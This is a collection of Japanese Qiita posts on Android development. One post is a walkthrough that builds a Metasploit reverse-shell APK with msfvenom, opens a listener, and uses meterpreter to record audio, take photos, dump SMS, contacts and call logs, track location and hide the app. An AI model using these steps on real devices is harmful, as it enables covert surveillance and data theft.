- 投稿日:2020-08-06T19:16:36+09:00
Retrofit2とOkhttp3とGsonを使用してAPIを作成(Java)
API作成時の備忘録。
細かい説明は抜きにして、とりあえずこれで通信できた。手順
- manifestfileに通信を許可するように設定
- リクエスト、レスポンスを受け取る用のクラスを定義
- エンドポイントの作成
- HTTPクライアントの作成
- 実行
manifestFileに通信を許可するように設定
AndroidManifest.xml
に以下を記述するAndroidManifest.xml<uses-permission android:name="android.permission.INTERNET" />リクエスト、レスポンスを受け取る用のクラスを定義
ログイン用のリクエストクラス、 requestのbodyがこの形式で送られる
LoginRequest.javapackage com.example.bookmanager_android.models.requests; public class LoginRequest { private String email; private String password; public LoginRequest(String email, String passWord){ this.email = email; this.password = passWord; } }
- レスポンスクラス
ログイン用のレスポンスクラス、responseがこの形で受け取られる
LoginResponse.javapackage com.example.bookmanager_android.models.requests.response; public class LoginResponse { public int status; public Result result; public static class Result { public int id; public String email; public String token; } }エンドポイントを作成する
interfaceを作成
RequestApiServicepublic interface RequestApiService { @POST("/login") // API エンドポイント Call<LoginResponse> logIn(@Body LoginRequest requestBody); // logInメソッドが呼ばれると,body形式は上記で作った、LoginRequestクラスの形になる }HTTPクライアントの作成
HttpClient.javapublic class HttpClient { public static RequestApiService apiService; private static final String URL = "http://baseurl"; // BaseUrlを指定 // Okhttp private static final OkHttpClient client = new OkHttpClient.Builder() .connectTimeout(10, TimeUnit.SECONDS) .writeTimeout(10, TimeUnit.SECONDS) .readTimeout(30, TimeUnit.SECONDS) .build(); // GSON private static final Gson gson = new GsonBuilder() .setFieldNamingPolicy(FieldNamingPolicy.LOWER_CASE_WITH_UNDERSCORES) .create(); // RetrofitにGSONとOkhttpを組み合わせてHttpクライアントの作成 public static RequestApiService getRequestApiService() { Retrofit retrofit = new Retrofit.Builder() .baseUrl(URL) .addConverterFactory(GsonConverterFactory.create(gson)) .client(client) .build(); apiService = retrofit.create(RequestApiService.class); return apiService; }実行
SignInFragment.javaprivate boolean starLogin(String emailStr, String passwordStr) { // bodyの作成 LoginRequest requestBody = new LoginRequest(emailStr, passwordStr); // HTTPクライアントの呼び出し RequestApiService apiService = HttpClient.getRequestApiService(); // 通信開始 interfaceで定義した処理が呼ばれる apiService.logIn(requestBody).enqueue(new Callback<LoginResponse>() { @Override public void onResponse(Call<LoginResponse> call, Response<LoginResponse> response) { if (response.isSuccessful()) { // 通信処理成功時の処理を記載 } else { Log.e("SignInFragment", "Something wrong On Response: " + response.toString()); } } @Override public void onFailure(Call<LoginResponse> call, Throwable t) { // 通信処理失敗時の処理を記載 } }); return true; }所感
tokenの保持とか、成功失敗時の処理とかまだあるが、とりあえずこれで通信はできた。
- 投稿日:2020-08-06T19:09:11+09:00
新卒プログラマの学習ログ 〜 其の四 〜
Kotlinのあれこれ
Android StudioでKotlinを使用しながら、Androidアプリ開発に関して学んでいます。
Javaの基礎知識があればKotlinの学習は必要ないと上司から言われていましたが、全然そんなことないと思っています。(泣)確かにオブジェクト思考を前提としたプログラミングではありますが、Javaと比較してKotlinは型推定が常識のように行われるためにいきなりライブラリの仕様等を見ると心が折れます。
基礎知識
Kotlinでは関数も、数値や文字列のなどの値のようにして扱うことができます。
そのため、変数に代入したり関数の引数として与えたり、関数の結果として返したりできます。このような性質のオブジェクトは第一級オブジェクトに分類されます。
よくみる "::関数名" とは?
Kotlinのコードを見ているとよく::関数名のような記述をよく見ます。
以下のコードをご覧ください。Sample.ktfun square(i : Int): Int = i * i fun main(){ val functionObject = ::square println(functionObject(5)) println(square(5)) }前述したように=(イコール)を用いて関数squareを定義していますね。
この関数は引数にInt(数字)を受け取ってInt(数字)を返す関数ですね。これをmainでは変数
functionObject
の初期定義を::square
で行っています。
出力は以下のようになります。..> 25
..> 25squareの引数に5を与えた結果の25が二回出力されていますね!
::squareで関数オブジェクトを生成し、その結果をfunctionObject
に与えているので、
関数squareと同じ動作を実行できるようになっていますね。どちらも引数に数値を受け取って数値を返す関数になっていることが確認できますね。
これが関数オブジェクトと言われるものの基本となる知識です。最後に
JavaやC言語でなれている人にとってはあまり馴染みのない書き方ですね。
次回はこの関数オブジェクトを使用して、関数を引数に持つ関数高階関数に関して記事を書いてみたいと思います。とりあえず。。。
メモ代わりに書いていますが、これから理解が深まれば書き足していきます。
いつか誰かのお役に立てると嬉しいですね。初学者から一人前まで、、、
ここでは一人前のプログラマの定義を
「おおよそ自力で様々なツールを活用しながら、ある程度思い通りの実装ができること」
とします。また、人生においてプログラミングに向き合う時間として、現時点で2000時間取り組めればある程度の基盤が備わると仮定しています。
(言語やツールに依存しない思考法や情報収集能力)プログラミングは大学で学んで来ましたが、特に根詰めてやってきていないので、ノーカウントとして取り組みます。
現在までの学習時間
およそ410時間
どんどん更新していきます。
- 投稿日:2020-08-06T11:14:12+09:00
MetasploitでAndroidをハッキングしてみた
はじめに
今回は、Metasploitを使ってAndroid端末をハッキングし、遠隔操作して遊んでみようと思います。
MetasploitのAndroidについての日本語の資料が少なかったので書くことにしました。
今回はKali LinuxをUSBに入れて動かしていますが、VirtualBoxとかでも大丈夫だと思います。当然ながら悪用厳禁です。作ったapkを配布とかしたら普通に捕まるので注意。
apkの作成
まずはMetasploitを使って、Androidを遠隔操作可能にするapkファイルを作っていきます。
Terminalを開き、以下のコマンドを入力します。(私の環境だと、コピペするとなぜかうまくいかなかったので、その場合は自分で入力してみてください。)msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk-pで使うペイロード(攻撃コード)を指定します。
android/meterpreter/reverse_tcpというのは、Android側に遠隔操作可能なシェルを開くペイロードです。LHOSTには攻撃側のIPアドレスを指定してください。IPアドレスはipコマンドで調べられます。
ip aこれで/home/kaliにtest.apkが生成されているはずです。
しかし、署名されてないapkをインストールしようとするとPlay プロテクトに弾かれるみたいなので、適当に署名していきます。
keytool -genkey -v -keystore test.keystore -alias test_alias -keyalg RSA -keysize 2048 -validity 10000これでキーストアが生成されます。
apkに書名をするjarsignerコマンドと、apkを最適化するzipalignコマンドはデフォルトでは入ってないので、以下のコマンドでインストールします。
sudo apt-get install default-jdk sudo apt-get install zipalignapkに署名します。
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore /home/kali/test.apk test_aliasapkを最適化します。
zipalign -v 4 /home/kali/test.apk /home/kali/shell.apkこれでapkファイルは完成です。
リスナーを開く
今回のペイロードはリバースシェルというものでAndroid側から接続を行うので、攻撃側はリスナーを開いておきます。
まずはMetasploitを起動しましょう。msfconsole次に、multi/handlerを起動し、Androidからの接続をリッスンします。
use multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.11.4LHOSTには先ほど指定した攻撃側のIPアドレスを指定します。
exploitこれでリスナーが動き出します。
apkのインストール
先ほど作成したapkファイルをAndroid側に転送し、インストールしていきます。
あらかじめ設定から「提供元不明のアプリ」を許可しておいてください。apkファイルを開くと、何やらめっちゃ権限を要求されます。
どう考えても怪しいですが、まあ気にせずインストールボタンを押しましょう。
さらにPlayプロテクトから警告されますが、気にしたら負けです。
インストールが完了したら、さっそく開いてみましょう。
Kali Linux側で、上の画像の用にmeterpreterが開いたら成功です。これで遠隔操作が可能になります。
meterpreterで遊ぼう
meterpreterには様々なコマンドが用意されています。helpと入力すると、使用できるコマンドが大量に出てくると思います。
ここでは面白いコマンドを色々紹介します。shell
Androidのシェルを使えるコマンドです。
record_mic
record_mic -d 秒数とすることで、指定した秒数マイクから録音し、wavファイルに保存できる...はずなんですが、私の環境だとなぜか指定した半分の秒数しか録音されませんでした。
しかも録音時間が14秒を越えるとエラーが出ます。webcam_snap
webcam_snap [-i カメラ番号 -p 保存先 -q 画質(1〜100) -v 撮影後に開くか(true/false)]とすることで、カメラで撮影できます。
カメラ番号はwebcam_listコマンドで分かります。webcam_stream
リアルタイムでカメラ映像が見れます。
といっても、連続で撮影しているだけなのでパシャパシャ鳴り続けてうるさいです。
Root化されているとシャッター音が鳴らないみたいです。play
play ファイル名とすることで、wavファイルをAndroid端末上で再生できます。(でも私の環境だと途中で中断されてしまいました。)
wavファイル以外も再生できるのかは不明。dump_calllog
通話記録をtxt形式で保存できます。
dump_contacts
連絡先リストをtxt形式で保存できます。
dump_sms
SMSの履歴をtxt形式で保存できます。
geolocate
現在地がかなりの精度で出力されます。
hide_app_icon
さっきインストールしたはずのアプリのアイコンが姿を消します。
send_sms
send_sms -d 電話番号 -t テキストでSMSメッセージを送信できます。
set_audio_mode
set_audio_mode -m モード(0: オフ, 1: 普通, 2: 最大)とすることで、音量レベルを設定できます。
app_list
インストールされているアプリとパッケージ名などの情報が出力されます。
app_run
app_run アプリのパッケージ名でアプリを起動できます。
例) app_run com.android.settingsLAN外から接続する
一応LAN外からも操作できる(らしいです。)
先ほど書いた通り、今回使っているリバースシェルはAndroid側から接続を行うため、まずは攻撃側のルーターのポートを開放する必要があります。
各ルーターの管理画面を開き、ポート開放設定(転送設定)の画面から、LAN側IPアドレスに攻撃側PCのローカルIPアドレスを指定し、開始ポートと終了ポートに4444を指定します。そして、先ほどのapk生成コマンド
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apkのLHOSTを攻撃側のグローバルIPアドレスに変えてください。
グローバルIPアドレスは確認くんで見られます。あとは先ほどと同じようにすれば、LAN外からAndroid端末を操作できる...らしいのですが、私の場合そもそもポート開放がうまくいかず、心が折れて諦めました。
誰かうまくいった方がいたら、是非コメント欄で教えてください。終わりに
という訳で、MetasploitからAndroidをハッキングしてみました。
とはいっても、そもそも生成されたapkファイル自体が怪しすぎるし、アンチウイルスにも引っ掛かりまくっていたので、すぐにウイルスだとばれてしまうでしょう。別のapkファイルにペイロードを埋め込みたくて、3日間ぐらいネット上の情報を漁っていたのですが、結局どの方法やツールを使ってもうまくいきませんでした。
もしうまくいった方がいたら、是非コメント欄で教えてください。参考文献
- 投稿日:2020-08-06T09:48:30+09:00
【Android】SHA-1 署名証明書フィンガープリントを取得する
リリース用署名証明書
terminalkeytool -list -v -keystore your_keystore_name -alias your_alias_name
your_keystore_name は「.keystore」や「.jks」拡張子を含む完全修飾パスとキーストア名で置き換える。
your_alias_name は作成時に証明書に割り当てたエイリアスで置き換える。デバッグ用署名証明書
Linux または macOS の場合:
terminalkeytool -list -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android -keypass android
Windows の場合:
terminalkeytool -list -v -keystore "%USERPROFILE%\.android\debug.keystore" -alias androiddebugkey -storepass android -keypass android
どんな時使うのか
APIキーに制限を入れずにAndroidアプリを公開すると下記のようなメッセージが表示される↓
このセキュリティアラートを解消するためにGCPのAPIキーに使用制限を加える。
その時にSHA-1 リリース用署名証明書フィンガープリントが必要。参考サイト
- 投稿日:2020-08-06T09:07:34+09:00
Androidアプリ開発探求記(その9)
はじめに
前回は、buildSrc の Dependencies.kt にて、依存関係の一元管理をしてみました。
しかし、管理対象ライブラリのバージョンは日々更新されていくため、必要に応じて更新していく必要があります。
ということで、今回は、ライブラリのバージョン保守に関して模索してみようと思います。
Gradle Versions Plugin の導入
基本的に、Gradle Versions Plugin によるバージョン管理 をそのまま踏襲しようと思います。
追加コード
build.gradle.ktsimport com.github.benmanes.gradle.versions.updates.DependencyUpdatesTask plugins { id("com.github.ben-manes.versions") version "0.29.0" } fun isNonStable(version: String): Boolean { val stableKeyword = listOf("RELEASE", "FINAL", "GA").any { version.toUpperCase().contains(it) } val regex = "^[0-9,.v-]+(-r)?$".toRegex() val isStable = stableKeyword || regex.matches(version) return isStable.not() } // configure Component Selection Rules. // @See https://docs.gradle.org/current/userguide/dynamic_versions.html#sec:component_selection_rules tasks.named("dependencyUpdates", DependencyUpdatesTask::class.java).configure { rejectVersionIf { isNonStable(candidate.version) && !isNonStable(currentVersion) } }実行
依存関係修正前
$ ./gradlew dependencyUpdates > Task :dependencyUpdates ------------------------------------------------------------ : Project Dependency Updates (report to plain text file) ------------------------------------------------------------ The following dependencies are using the latest milestone version: - androidx.constraintlayout:constraintlayout:1.1.3 - androidx.test.espresso:espresso-core:3.2.0 - androidx.test.ext:junit:1.1.1 - com.android.tools.build:gradle:4.0.1 - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72 - org.jetbrains.kotlin:kotlin-gradle-plugin:1.3.72 - org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.72 The following dependencies have later milestone versions: - androidx.appcompat:appcompat [1.1.0 -> 1.2.0] https://developer.android.com/jetpack/androidx - junit:junit [4.12 -> 4.13] http://junit.org Gradle release-candidate updates: - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]依存関係修正
Dependencies.ktobject Deps { const val androidx_appcompat__appcompat = "androidx.appcompat:appcompat:1.2.0" const val junit__junit = "junit:junit:4.13" }Gradle のバージョン変更はリスクが高いので、具体的な必要性が生じるまでは Android Studio の配布に合わせたバージョンを利用することとします。
依存関係修正後
$ ./gradlew dependencyUpdates > Task :buildSrc:compileKotlin The `kotlin-dsl` plugin applied to project ':buildSrc' enables experimental Kotlin compiler features. For more information see https://docs.gradle.org/6.1.1/userguide/kotlin_dsl.html#sec:kotlin-dsl_plugin > Task :buildSrc:jar :jar: No valid plugin descriptors were found in META-INF/gradle-plugins > Task :dependencyUpdates ------------------------------------------------------------ : Project Dependency Updates (report to plain text file) ------------------------------------------------------------ The following dependencies are using the latest milestone version: - androidx.appcompat:appcompat:1.2.0 - androidx.constraintlayout:constraintlayout:1.1.3 - androidx.test.espresso:espresso-core:3.2.0 - androidx.test.ext:junit:1.1.1 - com.android.tools.build:gradle:4.0.1 - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0 - junit:junit:4.13 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72 - org.jetbrains.kotlin:kotlin-gradle-plugin:1.3.72 - org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.72 Gradle release-candidate updates: - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]まとめ
今回は、Gradle Versions Plugin を導入し、ライブラリをアップデートしてみました。
次回のネタは考え中。
Appendix
◆ Pull Request
- 今回の変更の Pull Request
- 投稿日:2020-08-06T08:16:25+09:00
Gradle Versions Plugin によるバージョン管理
はじめに
本稿では Gradle Versions Plugin を用いたバージョン管理について、ざっくりと説明します。
Gradle Versions Plugin
◆ 概要
Gradle Versions Plugin は、以下の項目に関するアップデートを指摘してくれる task を提供します。
- ライブラリのバージョン
- Gradle のバージョン
◆ 公式サイト
https://github.com/ben-manes/gradle-versions-plugin
最低限の設定
plugin を追加するだけで利用可能です。
build.gradle.ktsplugins { id("com.github.ben-manes.versions") version "0.29.0" }Task
dependencyUpdates task により info レベルのログとしてバージョン情報が表示されます。
$ ./gradlew dependencyUpdates > Task :dependencyUpdates ------------------------------------------------------------ : Project Dependency Updates (report to plain text file) ------------------------------------------------------------ The following dependencies are using the latest milestone version: - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72 - org.jetbrains.kotlin:kotlin-stdlib:1.3.72 The following dependencies have later milestone versions: - androidx.appcompat:appcompat [1.1.0 -> 1.3.0-alpha01] https://developer.android.com/jetpack/androidx - androidx.constraintlayout:constraintlayout [1.1.3 -> 2.0.0-rc1] http://tools.android.com - androidx.core:core-ktx [1.3.1 -> 1.5.0-alpha01] https://developer.android.com/jetpack/androidx - androidx.test.espresso:espresso-core [3.2.0 -> 3.3.0-rc03] https://developer.android.com/testing - androidx.test.ext:junit [1.1.1 -> 1.1.2-rc03] https://developer.android.com/testing - com.android.tools.build:gradle [4.0.1 -> 4.2.0-alpha07] https://developer.android.com/studio - junit:junit [4.12 -> 4.13] http://junit.org - org.jetbrains.kotlin:kotlin-gradle-plugin [1.3.72 -> 1.4.0-rc] https://kotlinlang.org/ Gradle release-candidate updates: - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]◆ Revisions
最新バージョンの判断基準として、gradle ではデフォルトで release, milestone, integration という3つの選択肢が提供されています。
しかし、この判断基準は多くの場合現実的ではありません。
バージョンの判断は Ivy resolution strategy に基づいて行われますが、現状はこれらの命名規則に沿っているライブラリは殆どありません。また、maven のメタデータには、milestone と release を区別する情報が含まれていません。
※ 詳細はRevisions参照のこと
◆ 現実的な判断基準
バージョンの種類や命名規則には標準というものは存在しないので、現実的な判断基準を自作して対応することになります。
下記は本家のサンプルコードで、任意の Example N のコードブロック以外をコメントアウトして使うようになっています。
コメントアウトしなくても動作しますが、後勝ちになるので Example 3 が採用されたことになります。
fun isNonStable(version: String): Boolean { val stableKeyword = listOf("RELEASE", "FINAL", "GA").any { version.toUpperCase().contains(it) } val regex = "^[0-9,.v-]+(-r)?$".toRegex() val isStable = stableKeyword || regex.matches(version) return isStable.not() } tasks.named("dependencyUpdates", DependencyUpdatesTask::class.java).configure { // Example 1: reject all non stable versions rejectVersionIf { isNonStable(candidate.version) } // Example 2: disallow release candidates as upgradable versions from stable versions rejectVersionIf { isNonStable(candidate.version) && !isNonStable(currentVersion) } // Example 3: using the full syntax resolutionStrategy { componentSelection { all { if (isNonStable(candidate.version) && !isNonStable(currentVersion)) { reject("Release candidate") } } } } }☆ Example 1
stable でないものはすべて候補から除外します。
☆ Example 2
候補が stable ではなく、かつ現在のバージョンが stable の場合のみ候補を除外します。
例えば、候補が
1.3.0-alpha02
の場合、Example 1 では問答無用で候補から除外されますが、現行バージョンが1.3.0-alpha01
のように unstable であれば、候補からは除外されません。☆ Example 3
Example 2 のロジックを、一切のシンタックスシュガー無しで記述したもの。
以下に、Example 3 の実行例を示します。
alpha や rc 付きのライブラリが、候補から除外されていることが分かります。Example3の実行例$ ./gradlew dependencyUpdates > Task :dependencyUpdates ------------------------------------------------------------ : Project Dependency Updates (report to plain text file) ------------------------------------------------------------ The following dependencies are using the latest milestone version: - androidx.constraintlayout:constraintlayout:1.1.3 - androidx.core:core-ktx:1.3.1 - androidx.test.espresso:espresso-core:3.2.0 - androidx.test.ext:junit:1.1.1 - com.android.tools.build:gradle:4.0.1 - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72 - org.jetbrains.kotlin:kotlin-gradle-plugin:1.3.72 - org.jetbrains.kotlin:kotlin-stdlib:1.3.72 The following dependencies have later milestone versions: - androidx.appcompat:appcompat [1.1.0 -> 1.2.0] https://developer.android.com/jetpack/androidx - junit:junit [4.12 -> 4.13] http://junit.org Gradle release-candidate updates: - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]おわりに
本稿では Gradle Versions Plugin を用いたバージョン管理について、ざっくりと説明しました。
しかし、Gradle Versions Plugin に関する記述が root の build.gradle.kts にガッツリ組み込まれてしまっているので、分離する方法とかあれば採用したいところです。← いい方法があればぜひ教えてください mm
コードサンプルについては Appendix を参照してください。
Appendix
◆ サンプルコードの GitHub リポジトリ
◆ 主要コード
- 投稿日:2020-08-06T03:00:14+09:00
PermissionsDispatcherによる権限管理
はじめに
本稿では PermissionsDispatcher による権限管理に関して、簡単な説明とサンプルアプリの提示を行います。
Android の権限に関する包括的な情報
以下の情報を参照のこと:
- App Permissions
- Android の権限に関する包括的な情報
PermissionsDispatcher
◆ 概要
PermissionsDispatcher は、実行時の権限を扱うためのシンプルなアノテーションベースの API を提供します。
このライブラリは、権限が許可されているかどうかのチェック用コードを大量に記述することに伴う負担を軽減し、クリーンで安全なコードの保持に寄与します。
◆ 公式サイト
https://github.com/permissions-dispatcher/PermissionsDispatcher
サンプルアプリ
◆ 概要
カメラ起動ボタンを押下すると、カメラの権限の必要な機能が呼び出されるサンプルアプリです。
◆ AndroidManifest.xml
AndroidManifest.xml にて、権限の設定が必要になります。
<!-- 権限の付与。 記述し忘れても、当該権限を利用している PermissionsDispatcher 関連コードは ビルド時にも実行時にもエラーとならず、自動的に権限申請が却下扱いとなるので要注意。 --> <uses-permission android:name="android.permission.CAMERA" />◆アノテーション設定
☆ @RuntimePermissions
必須のアノテーションです。
Activity や Fragment に対して
@RuntimePermissions
アノテーションを付与することにより、PermissionsDispatcher による権限のハンドリングが有効になります。@RuntimePermissions class MainActivity : AppCompatActivity() { }☆ @NeedsPermission
必須のアノテーションです。
@NeedsPermission
アノテーションが付与されたメソッドに対しては、annotation processor によりメソッド名にWithPermissionCheck
が付与されたラッパーメソッドが自動的に生成されます。開発者は、オリジナルのメソッドではなく、ラッパーメソッドを呼び出します。
@NeedsPermission
アノテーションが付与されたメソッドは、ラッパーメソッド経由で権限のリクエストが許可された直後に PermissionsDispatcher により自動的に呼び出されます。private スコープは使用できません。
/** * カメラの権限を必要とする任意のメソッド。 */ @NeedsPermission(Manifest.permission.CAMERA) fun showCamera() { Toast.makeText(this, "showCamera()", Toast.LENGTH_SHORT).show() }☆ @OnShowRationale
@OnShowRationale
アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で権限のリクエストが発生した直後に PermissionsDispatcher により自動的に呼び出されます。引数に、続行か中断を指示できる PermissionRequest を指定することができます。これを用いると、ダイアログに渡すことによりダイアログ側で続行か中断の指示を出すようなことが可能になります。
引数が指定されていない場合は、
proceed${NeedsPermissionMethodName}ProcessRequest
とcancel${NeedsPermissionMethodName}ProcessRequest
メソッドが@RuntimePermissions
アノテーションが付与された Activity や Fragment に生成され、これらのメソッドにより続行か中断の指示を出すことができます。private スコープは使用できません。
/** * 権限が必要な理由を表示する任意のメソッド。 */ @OnShowRationale(Manifest.permission.CAMERA) fun showRationaleForCamera(request: PermissionRequest) { showRationaleDialog(request) } /** * `@OnShowRationale` 経由で起動され、権限が必要な理由を表示して許可の是非を問うダイアログを表示するメソッド。 */ private fun showRationaleDialog(request: PermissionRequest) { AlertDialog.Builder(this) .setPositiveButton("許可") { _, _ -> request.proceed() } .setNegativeButton("拒否") { _, _ -> request.cancel() } .setCancelable(false) .setMessage("カメラの権限が必要です") .show() }☆ @OnPermissionDenied
@OnPermissionDenied
アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。private スコープは使用できません。
/** * 権限が拒否された場合に呼び出される任意のメソッド */ @OnPermissionDenied(Manifest.permission.CAMERA) fun onCameraPermissionDenied() { Toast.makeText(this, "onCameraPermissionDenied()", Toast.LENGTH_SHORT).show() }☆ @OnNeverAskAgain
@OnNeverAskAgain
アノテーションが付与されたメソッドは、『今後表示しない』が設定された状態で権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。private スコープは使用できません。
/** * 『今後表示しない』が選択された場合に呼び出される任意のメソッド */ @OnNeverAskAgain(Manifest.permission.CAMERA) fun onCameraNeverAskAgain() { Toast.makeText(this, "onCameraNeverAskAgain()", Toast.LENGTH_SHORT).show() }◆ 自動生成コードとのつなぎ込み
☆ ラッパーメソッド
@NeedsPermission
アノテーションの付与されたメソッドは、権限チェック込みで呼び出すためのラッパーメソッドが自動生成されます。ラッパーメソッドの名称は、オリジナルのメソッド名の末尾に
WithPermissionCheck
が付いたものになります。/** * 画面中央の『カメラ起動』ボタンが押された時に呼び出されるメソッド。 */ private fun onShowCameraButtonClick() { // showCamera() を呼ぶのではなく、自動生成されたラッパーメソッドの showCameraWithPermissionCheck() を呼んでいる点に注意。 showCameraWithPermissionCheck() }☆ onRequestPermissionsResult()
OnRequestPermissionsResultCallback#onRequestPermissionsResult() の呼び出しを、自動生成されたハンドリング用の extension function に委譲します。
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) { super.onRequestPermissionsResult(requestCode, permissions, grantResults) // 自動生成された権限ハンドリング用のコードに処理を委譲するための extension function を呼び出す。 onRequestPermissionsResult(requestCode, grantResults) }画面サンプル
◆ MainActivity
◆ showRationaleDialog()
権限が必要な理由を表示するためのダイアログです。
権限設定ダイアログに置き換わるものではなく、権限設定ダイアログの前に表示されるダイアログになります。
◆ 権限設定ダイアログ
システムにより自動的に表示されるダイアログです。
☆ 通常表示
☆ 『今後表示しない』チェック時
今後表示しないをチェックした際には、許可が選択できないようになっています。1
おわりに
本稿では PermissionsDispatcher による権限管理に関して、簡単な説明とサンプルアプリの提示を行いました。
サンプルの詳細については Appendix を参照してください。
Appendix
◆ サンプルアプリの GitHub リポジトリ
◆ 主要コード
◆ MainActivityソース
package com.objectfanatics.chrono0016 import android.Manifest import android.os.Bundle import android.view.View import android.widget.Toast import androidx.appcompat.app.AlertDialog import androidx.appcompat.app.AppCompatActivity import permissions.dispatcher.* // ・必須のアノテーションです。 // ・Activity もしくは Fragment に対して @RuntimePermissions アノテーションを付与することにより、 // PermissionsDispatcher による権限のハンドリングが有効になります。 @RuntimePermissions class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) findViewById<View>(R.id.show_camera_button).setOnClickListener { onShowCameraButtonClick() } } override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) { super.onRequestPermissionsResult(requestCode, permissions, grantResults) // 自動生成された権限ハンドリング用のコードに処理を委譲するための extension function を呼び出す。 onRequestPermissionsResult(requestCode, grantResults) } /** * 画面中央の『カメラ起動』ボタンが押された時に呼び出されるメソッド。 */ private fun onShowCameraButtonClick() { // showCamera() を呼ぶのではなく、自動生成されたラッパーメソッドの showCameraWithPermissionCheck() を呼んでいる点に注意。 showCameraWithPermissionCheck() } /** * カメラの権限を必要とする任意のメソッド。 */ // ・必須のアノテーションです。 // ・`@NeedsPermission` アノテーションが付与されたメソッドに対しては、annotation processor により // `WithPermissionCheck` が付与されたラッパーメソッドが自動的に生成され、開発者はそちらの // ラッパーメソッドを呼び出します。 // ・ラッパーメソッド経由で権限のリクエストが許可された直後に PermissionsDispatcher により自動的に呼び出されます。 // ・private スコープは使用できません。 @NeedsPermission(Manifest.permission.CAMERA) fun showCamera() { Toast.makeText(this, "showCamera()", Toast.LENGTH_SHORT).show() } /** * 権限が必要な理由を表示する任意のメソッド。 */ // ・`@OnShowRationale` アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で // 権限のリクエストが発生した直後に PermissionsDispatcher により自動的に呼び出されます。 // ・引数に、続行か中断を指示できる PermissionRequest を指定することができます。これを用いると、 // ダイアログに渡すことによりダイアログ側で続行か中断の指示を出すようなことが可能になります。 // ・引数が指定されていない場合は、proceed${NeedsPermissionMethodName}ProcessRequest と cancel${NeedsPermissionMethodName}ProcessRequest // メソッドが @RuntimePermissions アノテーションが付与された Activity や Fragment に生成され、 // これらのメソッドにより続行か中断の指示を出すことができます。 // ・private スコープは使用できません。 @OnShowRationale(Manifest.permission.CAMERA) fun showRationaleForCamera(request: PermissionRequest) { showRationaleDialog(request) } /** * 権限が拒否された場合に呼び出される任意のメソッド */ // ・`@OnPermissionDenied` アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で // 権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。 // ・private スコープは使用できません。 @OnPermissionDenied(Manifest.permission.CAMERA) fun onCameraPermissionDenied() { Toast.makeText(this, "onCameraPermissionDenied()", Toast.LENGTH_SHORT).show() } /** * 『今後表示しない』が選択された場合に呼び出される任意のメソッド */ // `@OnNeverAskAgain` アノテーションが付与されたメソッドは、『今後表示しない』が設定された状態で // 権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。 @OnNeverAskAgain(Manifest.permission.CAMERA) fun onCameraNeverAskAgain() { Toast.makeText(this, "onCameraNeverAskAgain()", Toast.LENGTH_SHORT).show() } /** * `@OnShowRationale` 経由で起動され、権限が必要な理由を表示して許可の是非を問うダイアログを表示するメソッド。 */ private fun showRationaleDialog(request: PermissionRequest) { AlertDialog.Builder(this) .setPositiveButton("許可") { _, _ -> request.proceed() } .setNegativeButton("拒否") { _, _ -> request.cancel() } .setCancelable(false) .setMessage("カメラの権限が必要です") .show() } }
許可した際には今後表示されないので、当然と言えば当然ですね。 ↩
- 投稿日:2020-08-06T02:24:46+09:00
【Android/Kotlin】ContentProviderの挿入・削除・更新
ContentProviderとは
ContentProviderはデバイスのストレージにあるDB(データーベース)にアクセスし、データを管理する為に使用されます。具体的には、自身のアプリでDBを使ったり、他アプリのDB(連絡先など)を流用したい時です。今となっては他のアプリと連携させたアプリなど往々にして存在しますが、そのような機能の一端を担えるのがこのContentProviderです。 ContentProviderを導入するか否かの指針については公式のドキュメントに記述があります。以下がその項目です。
・検索フレームワークを用いてカスタム検索候補を提供する。
・アプリデータをウィジェットに公開する
・他のアプリに複雑なデータやファイルを提供する。
・AbstractThreadedSyncAdapterクラス(デバイスとサーバとの間でデータを転送するタスクのコードのカプセル化に使う)、CoursorAdapter(カーソルとビューの架け橋を担う)、CorsorLoader(カーソルからデータを取得する)を使う。
これらの項目に当てはまる状況の時、ContentProviderが推奨されているようです。ContentProviderクラス
ContentProviderを実際に使うには、ContentProviderクラスを実装したクラスを用意することが必要です。そのインスタンスは様々な処理を経て、デバイスのデータへアクセスすることが可能になります。その際に用いられるメソッドとして、6つの必須メソッドが存在します。以下でそのそれぞれについて解説していきます。
query()
このメソッドはプロバイダからデータを取得する際に使用されます。実装すると以下のようになるはずです。
override fun query( uri: Uri, projection: Array<out String>?, selection: String?, selectionArgs: Array<out String>?, sortOrder: String? ): Cursor? { }引数それぞれについて解説していきます。
uri
